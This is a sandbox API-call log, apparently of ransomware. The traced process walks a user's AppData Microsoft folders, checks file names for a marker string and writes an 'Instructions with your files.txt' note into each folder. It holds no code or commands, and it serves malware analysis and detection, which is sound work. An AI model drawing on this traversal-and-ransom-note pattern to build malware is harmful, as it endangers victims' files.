[0130.602] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 1
[0130.602] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache") returned 75
[0130.602] GetProcessHeap () returned 0x810000
[0130.602] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.602] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\*") returned 77
[0130.602] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.603] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\.") returned 77
[0130.603] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.603] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\..") returned 78
[0130.603] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x60a26dc0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
[0130.603] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat") returned 134
[0130.603] StrStrIW (lpFirst="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpSrch="SDfghjkl") returned 0x0
[0130.603] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x60a26dc0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
[0130.603] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Instructions with your files.txt") returned 108
[0130.603] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.605] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.606] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.606] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.606] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.606] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.606] CloseHandle (hObject=0x11c) returned 1
[0130.606] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.606] GetProcessHeap () returned 0x810000
[0130.606] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.606] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 0
[0130.606] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\Instructions with your files.txt") returned 98
[0130.606] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.609] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.609] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.609] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.610] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.610] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.610] CloseHandle (hObject=0x118) returned 1
[0130.610] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.610] GetProcessHeap () returned 0x810000
[0130.610] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.610] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
[0130.610] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher") returned 67
[0130.610] GetProcessHeap () returned 0x810000
[0130.610] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.610] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\*") returned 69
[0130.610] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.612] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\.") returned 69
[0130.612] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.612] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\..") returned 70
[0130.612] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.612] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\Instructions with your files.txt") returned 100
[0130.612] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\publisher\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.612] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.613] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.613] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.613] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.613] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.613] CloseHandle (hObject=0x118) returned 1
[0130.613] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.613] GetProcessHeap () returned 0x810000
[0130.613] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.614] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1
[0130.614] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig") returned 77
[0130.614] GetProcessHeap () returned 0x810000
[0130.614] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.614] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\*") returned 79
[0130.614] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.615] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\.") returned 79
[0130.615] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.615] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\..") returned 80
[0130.615] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.615] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\Instructions with your files.txt") returned 110
[0130.616] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\taskschedulerconfig\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.616] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.617] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.617] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.617] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.617] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.617] CloseHandle (hObject=0x118) returned 1
[0130.617] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.617] GetProcessHeap () returned 0x810000
[0130.617] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.617] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1
[0130.617] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio") returned 63
[0130.617] GetProcessHeap () returned 0x810000
[0130.617] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.617] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\*") returned 65
[0130.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.618] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\.") returned 65
[0130.618] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.618] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\..") returned 66
[0130.618] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ef99320, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5efe55e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content14.dat", cAlternateFileName="CONTEN~1.DAT")) returned 1
[0130.618] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat") returned 77
[0130.618] StrStrIW (lpFirst="content14.dat", lpSrch="SDfghjkl") returned 0x0
[0130.618] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x976e3d80, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x976e3d80, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x5f055ac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbs.dat", cAlternateFileName="")) returned 1
[0130.618] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat") returned 74
[0130.618] StrStrIW (lpFirst="thumbs.dat", lpSrch="SDfghjkl") returned 0x0
[0130.618] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x976e3d80, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x976e3d80, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x5f055ac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbs.dat", cAlternateFileName="")) returned 0
[0130.618] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\Instructions with your files.txt") returned 96
[0130.618] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
